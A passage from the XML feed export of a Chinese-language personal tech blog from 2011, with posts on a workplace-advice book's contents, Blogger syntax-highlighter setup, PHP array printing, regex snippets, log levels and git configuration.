Problem---有問題就有機會&lt;/li&gt;&lt;li&gt;機會一直在&lt;/li&gt;&lt;li&gt;你有受害者心態嗎？&lt;/li&gt;&lt;li&gt;生氣有什麼用？&lt;/li&gt;&lt;li&gt;說別人笨不代表自己聰明&lt;/li&gt;&lt;li&gt;情緒與工作要分清楚&lt;/li&gt;&lt;li&gt;別人的成就看起都很簡單？&lt;/li&gt;&lt;li&gt; 你穿什麼進辦公室？&lt;/li&gt;&lt;li&gt;改變自己&lt;/li&gt;&lt;li&gt;別當垃圾筒&lt;/li&gt;&lt;li&gt;當個實心英雄 &lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;讓老闆打從「心底」欣賞你&lt;ol&gt;&lt;li&gt;學習做個職場修羅&lt;/li&gt;&lt;li&gt;不必在意他們笑什麼&lt;/li&gt;&lt;li&gt;面對迷惘「冷」處理&lt;/li&gt;&lt;li&gt;珍惜走過的足跡&lt;/li&gt;&lt;li&gt;「理所當然」不如「設身處地」&lt;/li&gt;&lt;li&gt;尋找心靈的安定感&lt;/li&gt;&lt;li&gt;選對「老闆績優股」&lt;/li&gt;&lt;li&gt;都是學歷的問題？&lt;/li&gt;&lt;li&gt; 絕不能忽略的「時空背景」&lt;/li&gt;&lt;li&gt;輸在終點線前的遺憾&lt;/li&gt;&lt;li&gt;誰才是競爭的裁判？&lt;/li&gt;&lt;li&gt;留心腳邊的小石頭&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;主管要有新想法+新角度&lt;ol&gt;&lt;li&gt;學習面對和要求&lt;/li&gt;&lt;li&gt;你會說故事嗎？&lt;/li&gt;&lt;li&gt;一張紙，一隻嘴&lt;/li&gt;&lt;li&gt;絕招！心錨制約術！&lt;/li&gt;&lt;li&gt;固執VS堅持&lt;/li&gt;&lt;li&gt;傻瓜才愛比聰明&lt;/li&gt;&lt;li&gt;吉人詞寡，躁人詞多&lt;/li&gt;&lt;li&gt;知易信難的處事黑洞&lt;/li&gt;&lt;li&gt;面對現實&lt;/li&gt;&lt;li&gt;慎用二分法&lt;/li&gt;&lt;li&gt;企業的致勝武-人才&lt;/li&gt;&lt;li&gt;減少會議，多點溝通&lt;/li&gt;&lt;li&gt;做對的事，把事情做對&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1254536854869416631?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1254536854869416631/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1254536854869416631' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1254536854869416631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1254536854869416631'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/09/45.html' title='書：老闆不說卻默默察的45件事'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1767990009012712083</id><published>2011-09-12T16:04:00.001+08:00</published><updated>2011-09-12T16:42:04.336+08:00</updated><title type='text'>為blogger的code設定css</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;一直懶得為網誌上的code用範本&lt;br /&gt;雖然覺得應該是有plugin可以直接套用&lt;br /&gt;不過懶得用，挺多設定一些css而已&lt;br /&gt;&lt;br /&gt;一直到最近同事用了&lt;a href="http://alexgorbatchev.com/SyntaxHighlighter/"&gt;Syntax Highlighter&lt;/a&gt;覺得挺不錯的 就看了一下&lt;br /&gt;不過在blogger上要得需要網頁空間 覺得還挺麻煩的&lt;br /&gt;終於看到有人提供用的空間及在blogger上的設定&lt;a href="http://practician.blogspot.com/2010/07/color-my-world-syntax-highlighter.html#links"&gt;Color My World – Syntax highlighter&lt;/a&gt;&lt;br /&gt;我的blogger總於有ide等級的範本了&lt;ul&gt;&lt;li&gt;設定&lt;div class="code"&gt;&lt;pre class="brush: js;"&gt;&amp;lt;link href='http://alexgorbatchev.com/pub/sh/current/styles/shCore.css' rel='stylesheet' type='text/css'/&amp;gt;&amp;lt;link href='http://alexgorbatchev.com/pub/sh/current/styles/shThemeRDark.css' rel='stylesheet' type='text/css'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shCore.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushCpp.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushCSharp.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushCss.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushJava.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushJScript.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushPhp.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushPython.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushRuby.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushSql.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushVb.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushXml.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushPerl.js' type='text/javascript'/&amp;gt;&amp;lt;script src='http://alexgorbatchev.com/pub/sh/current/scripts/shBrushPowerShell.js' type='text/javascript'/&amp;gt;&amp;lt;script language='javascript'&amp;gt;SyntaxHighlighter.config.bloggerMode=true;SyntaxHighlighter.config.clipboardSwf=&amp;#39;http://alexgorbatchev.com/pub/sh/current/scripts/clipboard.swf&amp;#39;;SyntaxHighlighter.all();&amp;lt;/script&amp;gt;&lt;/pre&lt;/div&gt;&lt;/li&gt;&lt;li&gt;使用&lt;br/&gt;在每一段的code加上div及pre&lt;div class="code"&gt;&lt;pre class="brush: js;"&gt;&amp;lt;div class="code"&amp;gt;&amp;lt;pre class="brush: js;"&amp;gt;   //程式碼放這&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/pre&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1767990009012712083?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1767990009012712083/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1767990009012712083' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1767990009012712083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1767990009012712083'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/09/bloggercodecss.html' title='為blogger的code設定css'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8867996129704772489</id><published>2011-09-09T23:27:00.001+08:00</published><updated>2012-01-11T22:54:44.833+08:00</updated><title type='text'>格式化json,php array</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul&gt;&lt;li&gt;php array用print_r或var_dump印php array時&lt;br /&gt;output都不會自動縮排，全擠在一行&lt;br /&gt;很難查看陣列的內容 &lt;br /&gt;之前用Zend可以用Zend_Debug::dump($array);&lt;br /&gt;但純php就一直沒找到方法(懶得找 哈)&lt;br /&gt;後來發現原來是自己錯怪print_r&lt;br /&gt;其實本來就有排版，只是空格及斷行不是用php&lt;br /&gt;所以加個pre tag包起來即可&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;echo "&amp;lt;pre&amp;gt;" . print_r($array, true) . "&amp;lt;/pre&amp;gt;";&lt;br /&gt;//output &lt;br /&gt;array(2) {&lt;br /&gt;&amp;nbsp; ["b"]=&amp;gt;&lt;br /&gt;&amp;nbsp; int(1)&lt;br /&gt;&amp;nbsp; ["c"]=&amp;gt;&lt;br /&gt;&amp;nbsp; NULL&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;偶然的機會下看到&lt;a href="http://php.net/manual/en/function.get-object-vars.php"&gt;get_object_vars($array)&lt;/a&gt; 才發現有早就有這function了&lt;br /&gt;不過這只能印object，所以得先將array轉object&lt;br /&gt;怎麼轉...... 一個個轉...&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;function arrayToObject($array) {&lt;br /&gt;  if(!is_array($array)) {&lt;br /&gt;      return $array;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  $object = new stdClass();&lt;br /&gt;  if (is_array($array) &amp;amp;&amp;amp; count($array) &amp;gt; 0) {&lt;br /&gt;     foreach ($array as $name=&amp;gt;$value) {&lt;br /&gt;        $name = strtolower(trim($name));&lt;br /&gt;        if (!empty($name)) {&lt;br /&gt;           $object-&amp;gt;$name = arrayToObject($value);&lt;br /&gt;        }&lt;br /&gt;     }&lt;br /&gt;     return $object;&lt;br /&gt;  }else {&lt;br /&gt;      return FALSE;&lt;br /&gt;  }&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;jsonjson也是，只會用JSON.stringify(array)&lt;br /&gt;全又擠在一起，一個個看實在很沒效率&lt;br /&gt;目前只有看到這篇"&lt;a href="http://ketanjetty.com/coldfusion/javascript/format-json/"&gt;format json&lt;/a&gt;"自行寫程式去轉&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Reference&lt;a href="http://www.richardcastera.com/blog/php-convert-array-to-object-with-stdclass"&gt;PHP - Convert Array to Object with stdClass&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8867996129704772489?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8867996129704772489/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8867996129704772489' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8867996129704772489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8867996129704772489'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/09/jsonphp-array.html' title='格式化json,php array'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-105402691273803794</id><published>2011-09-03T16:29:00.000+08:00</published><updated>2011-10-05T09:55:02.383+08:00</updated><title type='text'>正規表達式 Regular Expression</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Metacharacters&lt;br /&gt;用來描敘match項目的特殊字元，可組合使用&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;. &lt;/td&gt;&lt;td&gt;Match any character&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ˆ &lt;/td&gt;&lt;td&gt;Match the start of the string&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;$ &lt;/td&gt;&lt;td&gt;Match the end of the string&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\s &lt;/td&gt;&lt;td&gt;Match any whitespace character&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\d &lt;/td&gt;&lt;td&gt;Match any digit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\w &lt;/td&gt;&lt;td&gt;Match any “word” character&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;/ab[cd]e/&lt;br /&gt;ab&lt;span style="color: red;"&gt;c&lt;/span&gt;e, ab&lt;span style="color: red;"&gt;d&lt;/span&gt;e皆正確 &lt;br /&gt;&lt;br /&gt;/ab[c-e\d]/ &lt;br /&gt;&amp;nbsp;abc, abd, abe及任何ab後接數字皆正確&lt;br /&gt;&lt;br /&gt;Quantifiers&lt;br /&gt;指定次數&lt;br /&gt;&lt;table&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;* The character can appear zero or more times&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;+ The character can appear one or more times&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;? The character can appear zero or one times&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;{n,m} The character can appear at least n times, and no more than m.&lt;br /&gt;Either parameter can be omitted to indicated a minimum limit with no maximum, or a maximumlimit without a minimum, but not both.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;常用的正規表達示&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2009/01/regular-expression.html"&gt;驗證&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;取html tag值或attribute&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;//取tag value&lt;br /&gt;function getTextBetweenTags($string, $tagname) {&lt;br /&gt;    $pattern = "/&lt;$tagname ?.*&gt;(.*)&lt;\/$tagname&gt;/";&lt;br /&gt;    preg_match($pattern, $string, $matches);&lt;br /&gt;    return $matches[1];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//取tag attribue&lt;br /&gt;function getAttribute($attrib, $tag){&lt;br /&gt;                //get attribute from html tag&lt;br /&gt;                $re = '/' . preg_quote($attrib) . '=([\'"])?((?(1).+?|[^\s&gt;]+))(?(1)\1)/is';&lt;br /&gt;                if (preg_match($re, $tag, $match)) {&lt;br /&gt;                        return urldecode($match[2]);&lt;br /&gt;                }&lt;br /&gt;                return false;&lt;br /&gt;        }&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;li&gt;取代 &lt;br /&gt;將轉換tag - php&lt;div class="code"&gt;&lt;pre class="brush: php"&gt;$subjects['body'] = "[b]Make Me Bold![/b]";&lt;br /&gt;$subjects['subject'] = "[i]Make Me Italics![/i]";&lt;br /&gt;$regex[] = "@\[b\](.*?)\[/b\]@i";&lt;br /&gt;$regex[] = "@\[i\](.*?)\[/i\]@i";&lt;br /&gt;$replacements[] = "&amp;lt;b&amp;gt;$1&amp;lt;/b&amp;gt;";&lt;br /&gt;$replacements[] = "&amp;lt;i&amp;gt;$1&amp;lt;/i&amp;gt;";&lt;br /&gt;$results = preg_replace($regex, $replacements, $subjects);&lt;br /&gt;&lt;br /&gt;//ouput---&lt;br /&gt;array(2) {&lt;br /&gt;  ["body"]=&amp;gt;&lt;br /&gt;    string(20) "&amp;lt;b&amp;gt;Make Me Bold!&amp;lt;/b&amp;gt;"&lt;br /&gt;  ["subject"]=&amp;gt;&lt;br /&gt;    string(23) "&amp;lt;i&amp;gt;Make Me Italic!&amp;lt;/i&amp;gt;"&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;統計&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-105402691273803794?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/105402691273803794/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=105402691273803794' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/105402691273803794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/105402691273803794'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/09/regular-expression.html' title='正規表達式 Regular Expression'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5266489178711649743</id><published>2011-09-01T13:44:00.000+08:00</published><updated>2011-09-01T13:44:01.424+08:00</updated><title type='text'>Windows下看網頁縮圖</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;原本作業系統是xp，利用 一直用的好好的&lt;br /&gt;結果換個win7就沒效了&lt;br /&gt;就找了一下,發現有AveHTMLPreview&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;&lt;a href="http://www.minwt.com/?p=2846"&gt;[PC]Win7也可預覽html網頁縮圖&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5266489178711649743?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5266489178711649743/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5266489178711649743' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5266489178711649743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5266489178711649743'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/09/windows.html' title='Windows下看網頁縮圖'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-27974652681812420</id><published>2011-09-01T13:43:00.000+08:00</published><updated>2011-09-01T13:43:42.149+08:00</updated><title type='text'>log等級的使用時機</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;b&gt;debug&lt;/b&gt;&lt;br /&gt;The DEBUG Level designates fine-grained informational events that are most useful to debug an application.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;info&lt;/b&gt;&lt;br /&gt;The INFO level designates informational messages that highlight the progress of the application at coarse-grained level.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;warn&lt;/b&gt;&lt;br /&gt;The WARN level designates potentially harmful situations.&lt;br /&gt;需注意的情況，例如網路連線斷了 非永久性錯誤的情況進行一些修復性的工作，應該還可以把系統恢復到正常狀態中來，系統應該可以繼續運行下去。&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;error&lt;/b&gt;&lt;br /&gt;The ERROR level designates error events that might still allow the application to continue running.&lt;br /&gt;可以進行一些修復性的工作，但無法確定系統會正常的工作下去，系統在以後的某個階段，很可能會因為當前的這個問題，導致一個無法修復的錯誤（例如宕機），但也可能一直工作到停止也不出現嚴重問題。&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;fatal&lt;/b&gt;&lt;br /&gt;The FATAL level designates very severe error events that will presumably lead the application to abort.&lt;br /&gt;系統即將Crash或無法再往下執行，只能關閉肯定這種錯誤已經無法修復，並且如果系統繼續運行下去的話，可以肯定必然會越來越亂。這時候採取的最好的措施不是試圖將系統狀態恢復到正常，而是儘可能地保留系統有效數據並停止運行。&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;記錄應該寫在發生的那一層&lt;br /&gt;再記錄stack可以trace&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/Level.html"&gt;log4j&lt;/a&gt;&lt;br /&gt;&lt;a href="http://testingtop.com/bbs/viewthread.php?tid=324"&gt;日誌級別的選擇：Debug、Info、Warn、Error還是Fatal&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-27974652681812420?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/27974652681812420/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=27974652681812420' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/27974652681812420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/27974652681812420'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/09/log.html' title='log等級的使用時機'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1079612936005812139</id><published>2011-09-01T12:23:00.001+08:00</published><updated>2011-10-08T10:49:46.303+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>設定git config</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;設定git&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;#git config --global user.name "YOUR_NAME"&lt;br /&gt;#git config --global user.email YOUR_EMAIL&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;git指令自動完成&lt;br /&gt;&lt;ol&gt;&lt;li&gt;下載git source code&amp;nbsp;&lt;/li&gt;&lt;li&gt;複製.git-completion.bash&lt;br/&gt;$ cp contrib/completion/git-completion.bash. ~/&lt;/li&gt;&lt;li&gt;編輯.bashrc$ vim ~/.bashrc加入source ~/.git-completion.bash&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;UI環境設定&lt;br /&gt;&lt;ul&gt;&lt;li&gt;啟用色彩&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;# git config --global color.ui true&lt;br /&gt;# git config --global color.branch auto&lt;br /&gt;# git config --global color.diff auto                 //將diff的資料加入色彩&lt;br /&gt;# git config --global color.interactive auto&lt;br /&gt;# git config --global color.status auto           //&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;自訂色彩&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;#git config --global color.diff.meta "blue black bold"&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;一次設定&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ vim .git/config   編輯以下內容,顏色可自訂&lt;br /&gt;[color]&lt;br /&gt;  branch = auto&lt;br /&gt;  diff = auto&lt;br /&gt;  status = auto&lt;br /&gt;[color "branch"]&lt;br /&gt;  current = yellow reverse&lt;br /&gt;  local = yellow &lt;br /&gt;  remote = green&lt;br /&gt;[color "diff"]&lt;br /&gt;  meta = yellow bold&lt;br /&gt;  frag = magenta bold&lt;br /&gt;  old = red bold&lt;br /&gt;  new = green bold&lt;br /&gt;[color "status"]&lt;br /&gt;  added = yellow&lt;br /&gt;  changed = green&lt;br /&gt;  untracked = cyan&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;檔案環境&lt;ul&gt;&lt;li&gt;格式化空白&lt;br /&gt;由於windows(\r\n)及max, linux(\n)的換行符號不同所以在不同環境下共同編輯時，會一直有換行符號的問題看到原來git很聰明的可以自動幫我們做轉換Git可以在你提交時自動地把行結束符CRLF轉換成LF，而在簽出代碼時把LF轉換成CRLF。用core.autocrlf來打開此項功能，&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Windows系統&lt;br /&gt;設置成true，這樣當checkout代碼時，LF會被轉換成CRLF&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;#git config --global core.autocrlf true&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Linux或Mac系統&lt;br /&gt;core.autocrlf設置成input來告訴 Git 在提交時把CRLF轉換成LF，checkout時不轉換&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;#git config --global core.autocrlf input&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;檔案權限 &lt;br /&gt;git不會理檔案權限，所以當init後，就不會再改變，即使改過權限(744 -&amp;gt; 777)又commit&lt;br /&gt;當下的working area是會變，不過clone此repository會回到原本的744&lt;br /&gt;改為false後就會一致了&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;git config core.filemode false&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;References&lt;a href="http://progit.org/book/ch7-1.html"&gt;Git Configuration&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1079612936005812139?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1079612936005812139/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1079612936005812139' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1079612936005812139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1079612936005812139'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/09/git-config.html' title='設定git config'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8365914909776845121</id><published>2011-08-31T22:13:00.001+08:00</published><updated>2011-08-31T22:14:05.664+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Streaming</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://mobiforge.com/developing/story/content-delivery-mobile-devices#byte-ranges"&gt;Content Delivery for Mobile Devices&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://mobiforge.com/developing/story/audiovideo-playback-streaming-support-mobile-devices"&gt;Audio/Video Playback &amp;amp; Streaming Support on Mobile Devices&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8365914909776845121?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 